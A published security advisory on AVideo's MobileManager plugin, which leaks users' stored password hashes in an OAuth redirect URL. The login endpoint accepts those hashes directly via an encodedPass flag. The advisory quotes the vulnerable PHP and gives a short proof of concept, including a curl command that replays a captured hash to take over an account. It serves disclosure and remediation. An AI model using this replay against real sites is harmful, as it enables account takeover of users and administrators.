wwbn/avideo
Affected
- introduced
0, last affected29.0(ecosystem)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-43875
AVideo: Password Hash Leak in MobileManager OAuth Redirect URL Enables Account Takeover
Summary
plugin/MobileManager/oauth2.php completes an OAuth login by sending an HTTP 302 Location: oauth2Success.php?user=<email>&pass=<HASH> where <HASH> is the victim's stored password hash (md5(hash("whirlpool", sha1(password)))) read directly from the users table. AVideo's own login endpoint (objects/login.json.php) accepts an encodedPass=1 flag that bypasses hashing and performs a direct string comparison between the supplied value and the stored hash. Anyone who captures the redirect URL — via server logs, referrer leakage, or browser history — therefore obtains a credential equivalent to the plaintext password and can fully take over the account, including admin accounts.
Details
Sink: hash inlined in a GET redirect
plugin/MobileManager/oauth2.php:98-102:
$pass = rand();
$users_id = User::createUserIfNotExists($user, $pass, $name, $email, $photoURL);
$adapter->disconnect();
$userObject = new User($users_id);
header("Location: oauth2Success.php?user=" . $userObject->getUser() . "&pass=" . $userObject->getPassword());
$userObject->getPassword() returns the raw database column (objects/user.php:159-162):
public function getPassword()
{
return strip_tags($this->password);
}
The returned value is the stored password hash for the account (existing or freshly-created). It is transported to the browser as a query-string parameter in the Location: header, so it is written to:
combined / main log formats record the full request line including query string).Referer header on subsequent navigation from the rendered oauth2Success.php page if the page or its assets load any external origin and the browser's Referrer-Policy is not strict.Hash equals plaintext for login
objects/login.json.php:182-209:
if (!empty($_GET['user'])) {
$_POST['user'] = $_GET['user'];
}
if (!empty($_GET['pass'])) {
$_POST['pass'] = $_GET['pass'];
}
if (!empty($_GET['encodedPass'])) {
$_POST['encodedPass'] = $_GET['encodedPass'];
}
...
$user = new User(0, $_POST['user'], $_POST['pass']);
...
$resp = $user->login(false, @$_POST['encodedPass']);
objects/user.php:1272-1279 passes $encodedPass to find():
if (strtolower($encodedPass) === 'false') {
$encodedPass = false;
}
...
$user = $this->find($this->user, $this->password, true, $encodedPass);
objects/user.php:1785-1794:
if ($pass !== false) {
if (!encryptPasswordVerify($pass, $result['password'], $encodedPass)) {
...
return false;
}
}
objects/functions.php:2312-2331:
function encryptPasswordVerify(#[\SensitiveParameter] $password, $hash, $encodedPass = false)
{
global $advancedCustom, $global;
if (!$encodedPass || $encodedPass === 'false') {
$passwordSalted = encryptPassword($password);
$passwordUnSalted = encryptPassword($password, true);
} else {
$passwordSalted = $password; // <- direct use, no hashing
$passwordUnSalted = $password;
}
$isValid = $passwordSalted === $hash || $passwordUnSalted === $hash;
...
}
When encodedPass is truthy, the supplied value is compared as-is against the stored hash. The captured redirect parameter pass=<HASH> is therefore a valid login credential when replayed with encodedPass=1.
Compounding factors
Location: (GET), not a POST — the secret is placed in a URL which is by definition non-confidential transport.state parameter tied to the session, and no single-use token is used on /plugin/MobileManager/oauth2.php.login.json.php does not require a CSRF token or captcha on the first attempt (checkLoginAttempts() at objects/user.php:1282 only rate-limits after failures, and the attacker succeeds on the first try).objects/login.json.php:144-145 already sets session state server-side ($userObject->login(true)), demonstrating the project already has a safer pattern available.PoC
Prerequisites: MobileManager plugin enabled and at least one supported login provider (e.g. LoginGoogle) configured with valid keys — both are common production settings for this product.
GET /plugin/MobileManager/oauth2.php?type=Google
HTTP/1.1 302 Found
Location: oauth2Success.php?user=victim%40example.com&pass=9d7ab4...stored-hash...
This request-line — including the password hash — is written to the web server's access log (default combined format) and to any upstream proxy/CDN log. It also appears in the victim's browser history.
<HASH> from any of those channels. curl -i -c cookies.txt \
'https://target.example.com/objects/[email protected]&pass=<HASH>&encodedPass=1'
Expected response: 200 OK with JSON containing id, user, PHPSESSID, isAdmin, email, and a Set-Cookie: PHPSESSID=... that grants full account access. The attacker can now browse, upload, modify the victim's channel, or — if the victim is an admin — access /mvideos and all admin endpoints.
Impact
encodedPass=1 (a flag the product itself uses for mobile-app "remember me" flows).Recommended Fix
plugin/MobileManager/oauth2.php, mirror what objects/login.json.php:143-146 already does for the web flow — establish the session server-side and redirect to a URL with no credentials: $userObject = new User(0, $user, $pass);
$userObject->login(true); // server-side session
header("Location: oauth2Success.php");
encodedPass branch in objects/functions.php:2319-2329. If a "hash-equivalent" credential must exist for the mobile app, replace it with a short-lived, single-use, server-issued bearer token bound to the session, rather than the persistent database hash.state parameter and CSRF protection on /plugin/MobileManager/oauth2.php so the redirect cannot be initiated from a third-party origin.Medium Basis: The source's own band: MODERATE
0, last affected 29.0 (ecosystem)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0